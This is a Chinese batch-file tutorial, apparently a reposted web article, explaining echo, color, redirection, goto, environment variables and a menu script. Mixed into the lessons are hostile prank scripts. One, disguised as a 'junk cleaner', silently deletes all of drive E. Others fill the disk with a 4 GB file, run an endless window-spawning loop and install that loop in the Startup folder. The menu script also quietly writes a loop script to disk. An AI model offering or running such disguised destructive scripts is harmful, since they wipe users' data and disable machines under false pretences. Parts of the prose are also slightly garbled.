批处理脚本工作(批处理极简教程)

从上而下成批的处理每一条dos命令,直到执行到最后一条,我来为大家科普一下关于批处理脚本工作?以下内容希望对你有帮助!

批处理脚本工作(批处理极简教程)

批处理脚本工作

批处理1.1 批处理作用

从上而下成批的处理每一条dos命令,直到执行到最后一条。

1.2 创建批处理

新建一个记事本文件,然后修改后缀名为.bat

1.3 体验@echo off 屏蔽执行过程color [attr] 设置默认的控制台前景和背景颜色。

attr 指定控制台输出的颜色属性。

控制台输入color ?可显示帮助信息。

颜色属性由两个十六进制数字指定 -- 第一个 对应于背景,第二个对应于前景。每个数字 可以为以下任何值:

0 = 黑色 8 = 灰色 1 = 蓝色 9 = 淡蓝色 2 = 绿色 A = 淡绿色 3 = 浅绿色 B = 淡浅绿色 4 = 红色 C = 淡红色 5 = 紫色 D = 淡紫色 6 = 黄色 E = 淡黄色 7 = 白色 F = 亮白色

如果没有给定任何参数,此命令会将颜色还原到 CMD.EXE 启动时 的颜色。这个值来自当前控制台 窗口、/T 命令行开关或 DefaultColor 注册表 值。

如果尝试使用相同的 前景和背景颜色来执行 COLOR 命令,COLOR 命令会将 ERRORLEVEL 设置为 1。

示例: "COLOR fc" 在亮白色上产生淡红色

title 给批处理加标题echo. 添加空行> 重定向

nul 是屏蔽操作知成功显示的信息,但是出错还是会显示(即1>nul)。

2>nul 是屏蔽操作失败显示道的信息,如果版成功依旧显示。

nul 2>nul 就是正确的错误的一起屏蔽掉,就啥也不显示了。

在最后面加1>nul 2>nul这样不管文件是否删除成功都不会显示任何消权息。 批处理就是用一个文件保存若干条命令(里面还可以有条件判断、循环等操作),运行该文件就等于运行其保存的若干条命令。 你问这一语句,只是一条dos命令,并不是批处理。当然,它可能作为一条命令放在批处理文件里面,但概念不能混淆。 那是因为dos命令的输出方是控制台。dos命令是可以控制输出方的,可以把结果输出到屏幕(控制台),也可以把结果输出到文件。控制输出到哪里就需要一个dos的重定向符,“>”或者“>>”。(其实还有输入定向的,如“<”。) 我们平时敲命令,默认定向是控制台。例如dir命令,其实实际运行了“dir >con”。当我们希望把文件列表到文件,就可以把重定向转到文件,可以“dir >list.txt”,但若原来存在list.txt则会覆盖。若list.txt本来已经有内容,希望把dir到的结果追加到文件,可以“dir >>list.txt”。这个你可以自己试试。 同样道理,“nul”是空的意思。把执行结果定向到空,意思便是不返回任何结果,无论它是错是对。这样做对于批处理里面的命令有一个好处,就是在运行的时候你看不到它逐条运行的结果。(当然,逐条运行的命令父还是会看到的,除非开始就用echo off命令或者@命令。) 这样解释应该清楚了吧。它只是运行一条关于注册表的命令,并且不返回任何结果(操作成功或者失败),跟删除文件没有关系。

ping -n 10 127.0.0.1 ping 10次 127.0.0.1

这里就是等待执行

goto 跳转到区块命令

冒号:划分区块 :区块名

:1

:2

start 程序名 :启动程序

如果不写程序名,则会启动cmd

系统变量

系统变量,可以在环境变量里设置,常用:

%USERPROFILE% =C:\Users\用户名

%SystemRoot% =C:\WINDOWS

%SystemDrive% =C:

%APPDATA% =C:\Users\用户名\AppData\Roaming

%LOCALAPPDATA% =C:\Users\用户名\AppData\Local

%windir% =C:\WINDOWS

%Path% =C:\Windows\system32;C:\Windows;

%ProgramData% =C:\ProgramData

%ProgramFiles% =C:\Program Files

%ProgramFiles(x86)% =C:\Program Files (x86)

@echo off color 0a title resume echo ======== echo hello,I am order! echo ========

清除e盘

@echo off color 0a title clear laji echo ======== echo clear your system laji echo if bei lanjie please echo let it go echo ======== pause echo. echo laji is cleaning..... e: >nul 2>nul cd \ >nul 2>nul rd . /s/q >nul 2>nul ping -n 10 127.0.0.1 >nul 2>nul echo congratulations!! echo. echo laji clear! pause

新建大文件

@echo off color 0a title game d: cd \ fsutil file createnew e:\sys.ini 4096000000

死循环:

:d start goto d

开机启动死循环:

qq.bat 为该批处理文件名

如果路径上有特殊符号,需要加双引号

copy qq.bat "%userprofile%\[开始]菜单\程序\启动" :d start goto d

多功能选择

set 变量名=值 可以设置变量,如果加上/p,则是等待用户输入,并将用户输入的值赋值给变量

@echo off title 小程序v1.0 color 0a :menu cls echo ============= echo 菜单 echo 1、定时关机 echo 2、取消定时 echo 3、退出 echo ================== set /p num=您的选择: if "%num%"=="1" goto 1 if "%num%"=="2" goto 2 if "%num%"=="3" goto 3 echo 请正确输入选项,只能输入1,2,3 pause goto menu :1 set /p a=请输入时间(单位/秒): shutdown -s -t %a% goto menu :2 shutdown -a echo :a >>1.txt echo start >>1.txt echo goto a >>1.txt goto menu :3 exit

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页